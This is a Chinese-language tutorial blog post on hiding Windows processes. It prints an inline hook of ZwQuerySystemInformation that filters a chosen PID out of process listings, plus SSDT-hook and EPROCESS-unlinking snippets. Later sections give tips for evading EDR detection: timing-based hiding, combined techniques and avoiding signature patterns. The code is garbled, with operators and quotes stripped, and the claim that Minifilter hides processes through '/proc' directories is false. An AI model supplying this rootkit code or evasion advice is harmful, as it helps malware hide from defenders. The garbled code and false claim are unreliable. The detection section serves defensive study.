Windows 进程隐藏技术对比:Hook ZwQuerySystemInformation 与内核驱动方案优劣分析

📅 2026/7/12 2:04:47
Windows 进程隐藏技术对比:Hook ZwQuerySystemInformation 与内核驱动方案优劣分析
Windows 进程隐藏技术深度解析从用户层 Hook 到内核驱动的攻防实践在 Windows 系统安全领域进程隐藏技术一直是一个充满挑战的话题。无论是安全研究人员进行渗透测试还是恶意软件试图逃避检测都需要深入理解这项技术的原理与实现方式。本文将全面剖析两种主流的进程隐藏方案用户层 HookZwQuerySystemInformation函数和内核驱动方案包括 SSDT Hook 和 Minifilter通过技术对比和实战代码带您深入理解这一领域的核心技术。1. 进程隐藏技术概述与应用场景进程隐藏技术本质上是对操作系统进程枚举机制的干预和修改。在 Windows 系统中任务管理器、Process Explorer 等工具都是通过调用特定的 API 来获取系统进程列表。通过拦截这些 API 调用我们可以控制返回的结果实现进程的隐藏。这项技术有着广泛的应用场景。在合法用途方面安全软件可能需要隐藏自身的监控进程以防止被恶意软件终止在渗透测试中红队需要保持持久化访问而不被发现。当然这项技术也常被恶意软件滥用这也是为什么现代 EDR终端检测与响应系统会投入大量资源检测此类行为。从技术实现层面看进程隐藏主要分为两大方向用户层 Hook通过修改 API 函数的行为来过滤进程信息内核驱动在系统更底层拦截相关调用实现更隐蔽的隐藏下面我们将重点分析这两种方案的实现原理、优缺点以及对抗检测的方法。2. 用户层 Hook ZwQuerySystemInformation 技术详解2.1 技术原理分析ZwQuerySystemInformation是 Windows 系统内部一个关键的函数它负责提供各种系统信息其中就包括进程列表。当 SystemInformationClass 参数为 5SystemProcessInformation时函数会返回系统中所有进程的详细信息。用户层的进程枚举工具如 tasklist、Process Explorer最终都会调用这个函数来获取进程列表。因此如果我们能够 Hook 这个函数过滤掉特定进程的信息就能实现进程隐藏。2.2 完整实现代码示例以下是使用 Inline Hook 技术实现ZwQuerySystemInformationHook 的完整代码#include windows.h #include stdio.h typedef NTSTATUS (NTAPI *typedef_ZwQuerySystemInformation)( _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, _Out_ PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength ); BYTE g_OldData32[5] {0}; BYTE g_OldData64[12] {0}; void HookApi() { HMODULE hDll ::GetModuleHandle(ntdll.dll); if (NULL hDll) return; typedef_ZwQuerySystemInformation ZwQuerySystemInformation (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, ZwQuerySystemInformation); if (NULL ZwQuerySystemInformation) return; #ifndef _WIN64 BYTE pData[5] { 0xe9, 0, 0, 0, 0 }; DWORD dwOffset (DWORD)New_ZwQuerySystemInformation - (DWORD)ZwQuerySystemInformation - 5; ::RtlCopyMemory(pData[1], dwOffset, sizeof(dwOffset)); ::RtlCopyMemory(g_OldData32, ZwQuerySystemInformation, sizeof(pData)); #else BYTE pData[12] {0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xe0}; ULONGLONG ullOffset (ULONGLONG)New_ZwQuerySystemInformation; ::RtlCopyMemory(pData[2], ullOffset, sizeof(ullOffset)); ::RtlCopyMemory(g_OldData64, ZwQuerySystemInformation, sizeof(pData)); #endif DWORD dwOldProtect 0; ::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), PAGE_EXECUTE_READWRITE, dwOldProtect); ::RtlCopyMemory(ZwQuerySystemInformation, pData, sizeof(pData)); ::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), dwOldProtect, dwOldProtect); } NTSTATUS NTAPI New_ZwQuerySystemInformation( SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength ) { NTSTATUS status 0; PSYSTEM_PROCESS_INFORMATION pCur NULL, pPrev NULL; DWORD dwHideProcessId 1234; // 要隐藏的进程ID // 先取消Hook调用原始函数 UnhookApi(); HMODULE hDll ::GetModuleHandle(ntdll.dll); if (NULL hDll) return status; typedef_ZwQuerySystemInformation ZwQuerySystemInformation (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, ZwQuerySystemInformation); if (NULL ZwQuerySystemInformation) return status; status ZwQuerySystemInformation(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength); if (NT_SUCCESS(status) 5 SystemInformationClass) { pCur (PSYSTEM_PROCESS_INFORMATION)SystemInformation; while (TRUE) { if (dwHideProcessId (DWORD)pCur-UniqueProcessId) { if (0 pCur-NextEntryOffset) { pPrev-NextEntryOffset 0; } else { pPrev-NextEntryOffset pCur-NextEntryOffset; } } else { pPrev pCur; } if (0 pCur-NextEntryOffset) break; pCur (PSYSTEM_PROCESS_INFORMATION)((BYTE *)pCur pCur-NextEntryOffset); } } // 重新设置Hook HookApi(); return status; }2.3 技术优势与局限性优势实现相对简单不需要编写内核驱动兼容性较好适用于大多数 Windows 版本对系统稳定性影响较小局限性容易被检测到现代 EDR 会检查关键 API 是否被 Hook只能影响用户层工具的进程枚举内核层工具仍能看到真实进程64位系统下 PatchGuard 会阻止对系统函数的修改提示在实际应用中用户层 Hook 更适合作为临时性方案或与其他技术组合使用单独使用时隐蔽性不足。3. 内核驱动方案深度解析3.1 SSDT Hook 技术SSDTSystem Service Descriptor Table是 Windows 内核中一个关键的数据结构它包含了系统服务调用的函数指针。通过修改 SSDT 表中的函数指针我们可以拦截系统调用实现更底层的进程隐藏。实现步骤获取 SSDT 表的地址找到NtQuerySystemInformation的索引号保存原始函数指针替换为自定义的处理函数关键代码片段NTSTATUS HookNtQuerySystemInformation( IN SYSTEM_INFORMATION_CLASS SystemInformationClass, OUT PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength) { NTSTATUS status OldNtQuerySystemInformation( SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength); if (NT_SUCCESS(status) SystemProcessInformation SystemInformationClass) { // 处理进程信息隐藏特定进程 FilterProcessInformation(SystemInformation); } return status; }3.2 Minifilter 驱动技术Minifilter 是微软提供的文件系统过滤驱动框架虽然主要用于文件操作监控但也可以用于进程隐藏。通过拦截文件系统对进程相关目录如 /proc的访问可以隐藏特定进程的信息。技术特点微软官方支持的框架稳定性高可以精细控制文件系统操作支持多种回调类型和优先级3.3 内核方案技术对比技术指标SSDT HookMinifilter实现复杂度中等较高稳定性较低可能引起系统蓝屏高微软官方框架隐蔽性较高高兼容性受 PatchGuard 限制各版本 Windows 都支持检测难度中等较高4. 检测与绕过技术4.1 常见检测手段现代安全产品会采用多种技术检测进程隐藏用户层 Hook 检测检查关键 API 的代码完整性对比不同层次 API 的返回结果使用硬件断点监控关键函数内核驱动检测验证 SSDT 表的完整性检查驱动模块列表监控驱动加载行为交叉视图检测同时从用户层和内核层获取进程列表进行对比使用更低级别的接口如 EPROCESS 遍历4.2 绕过检测的高级技巧直接内核对象操作 通过直接操作内核对象如 EPROCESS 链表实现隐藏完全不依赖 Hook。// 遍历进程链表并隐藏特定进程 PLIST_ENTRY prev TargetProcess-ActiveProcessLinks.Blink; PLIST_ENTRY next TargetProcess-ActiveProcessLinks.Flink; prev-Flink next; next-Blink prev;时间差攻击 只在特定时间隐藏进程避开定期扫描。多技术组合 结合用户层 Hook、内核 Hook 和直接内核对象操作使检测更加困难。5. 实战建议与最佳实践在实际应用中进程隐藏技术需要考虑多方面因素兼容性处理针对不同 Windows 版本实现多套方案做好版本检查和适配稳定性保障充分测试各种边界条件实现完善的错误处理机制隐蔽性优化避免使用特征明显的字符串和模式实现动态行为避免固定模式被检测权限管理最小权限原则只获取必要的权限实现权限回收机制注意本文所述技术仅限用于合法授权的安全研究和渗透测试未经授权对系统进行修改可能违反法律法规。